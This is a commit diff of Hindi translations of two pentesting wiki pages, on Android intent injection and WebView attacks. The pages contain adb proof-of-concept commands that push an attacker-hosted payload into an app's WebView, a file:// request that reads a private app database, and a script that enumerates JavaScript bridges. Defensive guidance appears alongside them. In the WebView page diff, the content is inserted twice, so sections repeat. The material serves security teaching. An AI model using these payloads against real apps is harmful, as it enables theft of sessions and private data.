Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti

2025-10-10 18:36:50 +00:00 · 2025-08-20 19:22:14 +00:00 · 2025-08-20 19:22:14 +00:00 · e9b4177fa3
commit e9b4177fa3
parent 9cd5ee2802
2 changed files with 299 additions and 20 deletions
--- a/src/mobile-pentesting/android-app-pentesting/intent-injection.md
+++ b/src/mobile-pentesting/android-app-pentesting/intent-injection.md
@ -1,5 +1,64 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-**देखें: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
+# Intent Injection
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Intent injection उन घटकों का दुरुपयोग करता है जो हमलावर-नियंत्रित Intents या डेटा को स्वीकार करते हैं, जिसे बाद में Intents में परिवर्तित किया जाता है। Android ऐप pentests के दौरान दो बहुत सामान्य पैटर्न हैं:
+
+- निर्यातित Activities/Services/BroadcastReceivers को तैयार किए गए अतिरिक्त डेटा को पास करना, जिन्हें बाद में विशेषाधिकार प्राप्त, गैर-निर्यातित घटकों को अग्रेषित किया जाता है।
+- निर्यातित VIEW/BROWSABLE गहरे लिंक को सक्रिय करना जो हमलावर-नियंत्रित URLs को आंतरिक WebViews या अन्य संवेदनशील स्राव में अग्रेषित करते हैं।
+
+## Deep links → WebView sink (URL parameter injection)
+
+यदि एक ऐप एक कस्टम स्कीम गहरा लिंक उजागर करता है जैसे:
+```text
+myscheme://com.example.app/web?url=<attacker_url>
+```
+और प्राप्त करने वाली Activity `url` क्वेरी पैरामीटर को WebView में अग्रेषित करती है, आप ऐप को अपने WebView संदर्भ में मनमाने दूरस्थ सामग्री को रेंडर करने के लिए मजबूर कर सकते हैं।
+
+PoC adb के माध्यम से:
+```bash
+# Implicit VIEW intent
+adb shell am start -a android.intent.action.VIEW \
+-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
+
+# Or explicitly target an Activity
+adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
+-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
+```
+Impact
+- HTML/JS ऐप के WebView प्रोफ़ाइल के अंदर निष्पादित होता है।
+- यदि JavaScript सक्षम है (डिफ़ॉल्ट रूप से या गलत क्रम के कारण), आप किसी भी प्रदर्शित `@JavascriptInterface` ऑब्जेक्ट्स को सूचीबद्ध/उपयोग कर सकते हैं, WebView कुकीज़/स्थानीय संग्रह चुरा सकते हैं, और पिवट कर सकते हैं।
+
+See also:
+
+{{#ref}}
+webview-attacks.md
+{{#endref}}
+
+## Order-of-checks bug enabling JavaScript
+
+एक आवर्ती बग JavaScript (या अन्य अनुमति देने वाले WebView सेटिंग्स) को अंतिम URL अनुमति सूची/सत्यापन समाप्त होने से पहले सक्षम करना है। यदि प्रारंभिक सहायक आपके गहरे लिंक को स्वीकार करते हैं और WebView पहले कॉन्फ़िगर किया गया है, तो आपका अंतिम लोड JavaScript पहले से सक्षम होने के साथ होता है, भले ही बाद की जांच दोषपूर्ण या बहुत देर से हों।
+
+Decompiled कोड में क्या देखना है:
+- कई सहायक जो URL को अलग-अलग तरीके से पार्स/स्प्लिट/पुनर्निर्माण करते हैं (असंगत सामान्यीकरण)।
+- अंतिम होस्ट/पथ अनुमति सूची जांच से पहले `getSettings().setJavaScriptEnabled(true)` को कॉल करना।
+- एक पाइपलाइन जैसे: पार्स → आंशिक सत्यापन → WebView कॉन्फ़िगर करें → अंतिम सत्यापन → loadUrl।
+
+Mitigations
+- एक बार मानकीकरण करें और सख्ती से सत्यापित करें; बंद विफल करें।
+- केवल सभी जांच पास होने के बाद और विश्वसनीय सामग्री लोड करने से ठीक पहले JavaScript सक्षम करें।
+- अविश्वसनीय मूलों के लिए पुलों को उजागर करने से बचें।
+
+## Other classic Intent injection primitives
+
+- attacker-supplied `Intent` एक्स्ट्रा का उपयोग करके startActivity/sendBroadcast जो बाद में फिर से पार्स (`Intent.parseUri(...)`) और निष्पादित होते हैं।
+- निर्यातित प्रॉक्सी घटक जो बिना अनुमति जांच के Intents को गैर-निर्यातित संवेदनशील घटकों की ओर अग्रेषित करते हैं।
+
+## References
+
+- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
+- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
+- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
+- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
+++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md
@ -24,14 +24,14 @@ Android विकास का एक महत्वपूर्ण पहल

 #### **Secure File Loading**

-फ़ाइल सिस्टम एक्सेस को अक्षम करने के लिए जबकि फिर भी संपत्तियों और संसाधनों तक पहुँच प्राप्त करने के लिए, `setAllowFileAccess()` विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग `false` है।
+फाइल सिस्टम एक्सेस को अक्षम करते हुए संपत्तियों और संसाधनों तक पहुँचने के लिए, `setAllowFileAccess()` विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग `false` है।

- जांचें `getAllowFileAccess()` के साथ।
- सक्षम या अक्षम करें `setAllowFileAccess(boolean)` के साथ।
+- `getAllowFileAccess()` के साथ जांचें।
+- `setAllowFileAccess(boolean)` के साथ सक्षम या अक्षम करें।

 #### **WebViewAssetLoader**

-**WebViewAssetLoader** क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँच के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।
+**WebViewAssetLoader** क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।

 ### loadUrl

@ -41,7 +41,7 @@ webview.loadUrl("<url here>")
 ```
 Ofc, एक संभावित हमलावर को कभी भी **URL** को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है।

-### **JavaScript और Intent Scheme हैंडलिंग**
+### **JavaScript और Intent Scheme प्रबंधन**

 - **JavaScript**: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे `setJavaScriptEnabled()` के माध्यम से सक्षम किया जा सकता है। सावधानी बरती जानी चाहिए क्योंकि उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करने से सुरक्षा कमजोरियाँ उत्पन्न हो सकती हैं।
 - **Intent Scheme**: WebViews `intent` स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण की संभावना पैदा कर सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था।
@ -54,20 +54,20 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url
 ```
 ### Javascript Bridge

-Android द्वारा एक विशेषता प्रदान की गई है जो **JavaScript** को एक WebView में **स्थानीय Android ऐप कार्यों** को कॉल करने की अनुमति देती है। यह `addJavascriptInterface` विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे _WebView JavaScript bridge_ कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript इंटरफ़ेस ऑब्जेक्ट तक पहुँचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफ़ेस के माध्यम से उजागर होती है तो यह सुरक्षा जोखिम पैदा कर सकती है।
+Android द्वारा एक विशेषता प्रदान की गई है जो **JavaScript** को एक WebView में **स्थानीय Android ऐप कार्यों** को कॉल करने की अनुमति देती है। यह `addJavascriptInterface` विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे _WebView JavaScript bridge_ कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफेस के माध्यम से उजागर होती है तो यह एक सुरक्षा जोखिम पैदा कर सकती है।

- **अत्यधिक सावधानी की आवश्यकता है** उन ऐप्स के लिए जो Android संस्करण 4.2 से नीचे लक्षित करते हैं, क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो परावर्तन का लाभ उठाती है।
+- **Android संस्करण 4.2 से नीचे के ऐप्स के लिए अत्यधिक सावधानी की आवश्यकता है** क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो कि परावर्तन का लाभ उठाती है।

 #### Implementing a JavaScript Bridge

- **JavaScript इंटरफ़ेस** स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:
+- **JavaScript इंटरफेस** स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:
 ```javascript
@JavascriptInterface
 public String getSecret() {
 return "SuperSecretPassword";
 };
 ```
- JavaScript ब्रिज को WebView में एक इंटरफ़ेस जोड़कर सक्षम किया जाता है:
+- JavaScript Bridge को WebView में एक इंटरफेस जोड़कर सक्षम किया जाता है:
 ```javascript
 webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
 webView.reload()
@ -78,15 +78,232 @@ webView.reload()
 alert(javascriptBridge.getSecret())
 </script>
 ```
- जोखिमों को कम करने के लिए, **JavaScript ब्रिज उपयोग को** APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।
+- जोखिमों को कम करने के लिए, **JavaScript ब्रिज के उपयोग को** APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript को लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।

 ### रिफ्लेक्शन-आधारित रिमोट कोड निष्पादन (RCE)

- एक प्रलेखित विधि RCE प्राप्त करने की अनुमति देती है जो एक विशिष्ट पेलोड को निष्पादित करके रिफ्लेक्शन के माध्यम से होती है। हालाँकि, `@JavascriptInterface` एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।
+- एक प्रलेखित विधि RCE को रिफ्लेक्शन के माध्यम से एक विशिष्ट पेलोड निष्पादित करके प्राप्त करने की अनुमति देती है। हालाँकि, `@JavascriptInterface` एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।

 ### रिमोट डिबगिंग

- **रिमोट डिबगिंग** **Chrome Developer Tools** के साथ संभव है, जो WebView सामग्री के भीतर बातचीत और मनमाने JavaScript निष्पादन की अनुमति देता है।
+- **रिमोट डिबगिंग** **Chrome Developer Tools** के साथ संभव है, जो WebView सामग्री के भीतर इंटरैक्शन और मनमाने JavaScript निष्पादन की अनुमति देता है।
+
+#### रिमोट डिबगिंग सक्षम करना
+
+- एक एप्लिकेशन के भीतर सभी WebViews के लिए रिमोट डिबगिंग को सक्षम किया जा सकता है:
+```java
+if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
+WebView.setWebContentsDebuggingEnabled(true);
+}
+```
+- एप्लिकेशन की डिबग करने योग्य स्थिति के आधार पर शर्तीय रूप से डिबगिंग सक्षम करने के लिए:
+```java
+if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
+if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
+{ WebView.setWebContentsDebuggingEnabled(true); }
+}
+```
+## मनमाने फ़ाइलों को निकालना
+
+- XMLHttpRequest का उपयोग करके मनमाने फ़ाइलों के निष्कासन का प्रदर्शन करता है:
+```javascript
+var xhr = new XMLHttpRequest()
+xhr.onreadystatechange = function () {
+if (xhr.readyState == XMLHttpRequest.DONE) {
+alert(xhr.responseText)
+}
+}
+xhr.open(
+"GET",
+"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
+true
+)
+xhr.send(null)
+```
+# Webview Attacks
+
+## Guide on WebView Configurations and Security
+
+### Overview of WebView Vulnerabilities
+
+Android विकास का एक महत्वपूर्ण पहलू WebViews का सही प्रबंधन करना है। यह गाइड WebView उपयोग से संबंधित जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करता है।
+
+![WebView Example](<../../images/image (1190).png>)
+
+### **File Access in WebViews**
+
+डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता `setAllowFileAccess()` विधि द्वारा नियंत्रित होती है, जो Android API स्तर 3 (Cupcake 1.5) से उपलब्ध है। **android.permission.READ_EXTERNAL_STORAGE** अनुमति वाले अनुप्रयोग बाहरी संग्रहण से फ़ाइलों को फ़ाइल URL स्कीम (`file://path/to/file`) का उपयोग करके पढ़ सकते हैं।
+
+#### **Deprecated Features: Universal and File Access From URLs**
+
+- **Universal Access From File URLs**: यह अप्रचलित विशेषता फ़ाइल URLs से क्रॉस-ओरिजिन अनुरोधों की अनुमति देती थी, जो संभावित XSS हमलों के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा करती थी। डिफ़ॉल्ट सेटिंग Android Jelly Bean और नए संस्करणों के लिए अक्षम (`false`) है।
+- इस सेटिंग की जांच करने के लिए, `getAllowUniversalAccessFromFileURLs()` का उपयोग करें।
+- इस सेटिंग को संशोधित करने के लिए, `setAllowUniversalAccessFromFileURLs(boolean)` का उपयोग करें।
+- **File Access From File URLs**: यह विशेषता, जो भी अप्रचलित है, अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुँच को नियंत्रित करती थी। सार्वभौमिक पहुँच की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा बढ़ाने के लिए अक्षम है।
+- जांचने के लिए `getAllowFileAccessFromFileURLs()` का उपयोग करें और सेट करने के लिए `setAllowFileAccessFromFileURLs(boolean)` का उपयोग करें।
+
+#### **Secure File Loading**
+
+फाइल सिस्टम एक्सेस को अक्षम करने के लिए जबकि संपत्तियों और संसाधनों तक पहुँच बनाए रखना, `setAllowFileAccess()` विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग `false` है।
+
+- `getAllowFileAccess()` के साथ जांचें।
+- `setAllowFileAccess(boolean)` के साथ सक्षम या अक्षम करें।
+
+#### **WebViewAssetLoader**
+
+**WebViewAssetLoader** क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है।
+
+### loadUrl
+
+यह एक सामान्य फ़ंक्शन है जिसका उपयोग वेबव्यू में मनमाने URLs को लोड करने के लिए किया जाता है:
+```java
+webview.loadUrl("<url here>")
+```
+Ofc, एक संभावित हमलावर को कभी भी **URL** को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है।
+
+### आंतरिक WebView में डीप-लिंकिंग (कस्टम स्कीम → WebView सिंक)
+
+कई ऐप्स कस्टम स्कीम/पथ पंजीकृत करते हैं जो उपयोगकर्ता द्वारा प्रदान किए गए URL को एक इन-ऐप WebView में रूट करते हैं। यदि डीप लिंक निर्यात किया गया है (VIEW + BROWSABLE), तो एक हमलावर ऐप को इसके WebView संदर्भ के भीतर मनमाने दूरस्थ सामग्री को प्रदर्शित करने के लिए मजबूर कर सकता है।
+
+टिपिकल मैनिफेस्ट पैटर्न (सरल किया गया):
+```xml
+<activity android:name=".MainActivity" android:exported="true">
+<intent-filter>
+<action android:name="android.intent.action.VIEW" />
+<category android:name="android.intent.category.DEFAULT" />
+<category android:name="android.intent.category.BROWSABLE" />
+<data android:scheme="myscheme" android:host="com.example.app" />
+</intent-filter>
+</activity>
+```
+सामान्य कोड प्रवाह (सरलीकृत):
+```java
+// Entry activity
+@Override
+protected void onNewIntent(Intent intent) {
+Uri deeplink = intent.getData();
+String url = deeplink.getQueryParameter("url"); // attacker-controlled
+if (deeplink.getPathSegments().get(0).equals("web")) {
+Intent i = new Intent(this, WebActivity.class);
+i.putExtra("url", url);
+startActivity(i);
+}
+}
+
+// WebActivity sink
+webView.loadUrl(getIntent().getStringExtra("url"));
+```
+हमला पैटर्न और PoC adb के माध्यम से:
+```bash
+# Template – force load in internal WebView
+adb shell am start -a android.intent.action.VIEW \
+-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
+
+# If a specific Activity must be targeted
+adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
+-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
+```
+Impact: दूरस्थ पृष्ठ ऐप WebView संदर्भ में चलता है (ऐप WebView प्रोफ़ाइल के कुकीज़/सत्र, किसी भी उजागर @JavascriptInterface तक पहुंच, सेटिंग्स के आधार पर content:// और file:// तक संभावित पहुंच)।
+
+Hunting tips:
+- `getQueryParameter("url")`, `loadUrl(`, `WebView` sinks, और deep-link हैंडलर्स (`onCreate/onNewIntent`) के लिए decompiled स्रोतों में Grep करें।
+- VIEW+BROWSABLE फ़िल्टर और कस्टम स्कीम/होस्ट के लिए मैनिफेस्ट की समीक्षा करें जो गतिविधियों से मैप होते हैं जो बाद में WebView शुरू करते हैं।
+- जांचें कि क्या कई deep-link पथ हैं (जैसे, "बाहरी ब्राउज़र" पथ बनाम "आंतरिक वेबव्यू" पथ) और उस पथ को प्राथमिकता दें जो ऐप के अंदर रेंडर होता है।
+
+### सत्यापन से पहले JavaScript सक्षम करना (order-of-checks bug)
+
+एक सामान्य हार्डनिंग गलती यह है कि अंतिम allowlist/सत्यापन के पूरा होने से पहले JavaScript को सक्षम करना या WebView सेटिंग्स को ढीला करना। यदि सत्यापन सहायक उपकरणों के बीच असंगत है या बहुत देर से होता है, तो एक हमलावर का deep link एक ऐसी स्थिति में पहुंच सकता है जहां:
+
+1) WebView सेटिंग्स लागू होती हैं (जैसे, `setJavaScriptEnabled(true)`), और
+2) अविश्वसनीय URL को JavaScript सक्षम के साथ लोड किया जाता है।
+
+Bug pattern (pseudocode):
+```java
+// 1) Parse/early checks
+Uri u = parse(intent);
+if (!looksValid(u)) return;
+
+// 2) Configure WebView BEFORE final checks
+webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
+configureMixedContent();
+
+// 3) Do final verification (late)
+if (!finalAllowlist(u)) return; // too late – JS already enabled
+
+// 4) Load
+webView.loadUrl(u.toString());
+```
+क्यों यह शोषणीय है
+- असंगत सामान्यीकरण: हेल्पर्स URL को अंतिम जांच से अलग तरीके से विभाजित/पुनर्निर्माण करते हैं, जिससे एक दुर्भावनापूर्ण URL का शोषण किया जा सकता है।
+- गलत क्रम में पाइपलाइन: चरण 2 में JS को सक्षम करना WebView उदाहरण पर वैश्विक रूप से लागू होता है, अंतिम लोड को प्रभावित करता है भले ही सत्यापन बाद में विफल हो जाए।
+
+कैसे परीक्षण करें
+- गहरे लिंक पेलोड तैयार करें जो प्रारंभिक जांचों को पास करते हैं और WebView कॉन्फ़िगरेशन साइट तक पहुँचते हैं।
+- adb का उपयोग करें ताकि आप द्वारा नियंत्रित `url=` पैरामीटर के साथ निहित VIEW इरादे भेज सकें:
+```bash
+adb shell am start -a android.intent.action.VIEW \
+-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
+```
+यदि शोषण सफल होता है, तो आपका पेलोड ऐप के WebView में JavaScript निष्पादित करता है। वहां से, उजागर ब्रिज के लिए जांच करें:
+```html
+<script>
+for (let k in window) {
+try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
+}
+</script>
+```
+Defensive guidance
+- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
+- Only call `setJavaScriptEnabled(true)` after all allowlist checks pass and just before loading trusted content.
+- Avoid exposing `@JavascriptInterface` to untrusted origins; prefer per-origin gating.
+- Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.
+
+### **JavaScript और Intent Scheme Handling**
+
+- **JavaScript**: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे `setJavaScriptEnabled()` के माध्यम से सक्षम किया जा सकता है। उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करना सुरक्षा कमजोरियों को जन्म दे सकता है।
+- **Intent Scheme**: WebViews `intent` स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण का कारण बन सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था।
+
+![Vulnerable WebView](<../../images/image (1191).png>)
+
+Exploitation example using adb:
+```bash
+adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
+```
+### Javascript Bridge
+
+Android द्वारा एक विशेषता प्रदान की गई है जो **JavaScript** को एक WebView में **स्थानीय Android ऐप कार्यों** को कॉल करने की अनुमति देती है। यह `addJavascriptInterface` विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे _WebView JavaScript bridge_ कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript Interface ऑब्जेक्ट तक पहुंचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफेस के माध्यम से उजागर होती है तो यह एक सुरक्षा जोखिम पैदा कर सकती है।
+
+- **Android संस्करण 4.2 से नीचे के ऐप्स के लिए अत्यधिक सावधानी की आवश्यकता है** क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो कि परावर्तन का लाभ उठाती है।
+
+#### Implementing a JavaScript Bridge
+
+- **JavaScript interfaces** स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहां एक वर्ग विधि को JavaScript के लिए उजागर किया गया है:
+```javascript
+@JavascriptInterface
+public String getSecret() {
+return "SuperSecretPassword";
+};
+```
+- JavaScript Bridge को WebView में एक इंटरफेस जोड़कर सक्षम किया जाता है:
+```javascript
+webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
+webView.reload()
+```
+- JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए, XSS हमले के माध्यम से, उजागर किए गए Java विधियों को कॉल करने की अनुमति देता है:
+```html
+<script>
+alert(javascriptBridge.getSecret())
+</script>
+```
+- जोखिमों को कम करने के लिए, **JavaScript ब्रिज के उपयोग को** APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें।
+
+### रिफ्लेक्शन-आधारित रिमोट कोड निष्पादन (RCE)
+
+- एक प्रलेखित विधि RCE प्राप्त करने की अनुमति देती है जो रिफ्लेक्शन के माध्यम से एक विशिष्ट पेलोड को निष्पादित करती है। हालाँकि, `@JavascriptInterface` एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है।
+
+### रिमोट डिबगिंग
+
+- **रिमोट डिबगिंग** **Chrome Developer Tools** के साथ संभव है, जो WebView सामग्री के भीतर इंटरैक्शन और मनमाने JavaScript निष्पादन की अनुमति देता है।

 #### रिमोट डिबगिंग सक्षम करना

@ -122,10 +339,13 @@ xhr.send(null)
 ```
 ## संदर्भ

- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
+- [Android WebViews फ़ाइल एक्सेस हमले के वेक्टर की समीक्षा](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
+- [WheresMyBrowser.Android (डेमो ऐप)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
+- [Android WebView संदर्भ](https://developer.android.com/reference/android/webkit/WebView)
+- [डीप लिंक और WebViews शोषण – भाग II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
+- [डीप लिंक और WebViews शोषण – भाग I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
+- [Samsung S24 शोषण श्रृंखला Pwn2Own 2024 वॉकथ्रू](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
+- [Pwn2Own आयरलैंड 2024 – Samsung S24 हमले की श्रृंखला (श्वेत पत्र)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
+- [प्रदर्शन वीडियो](https://www.youtube.com/watch?v=LAIr2laU-So)

 {{#include ../../banners/hacktricks-training.md}}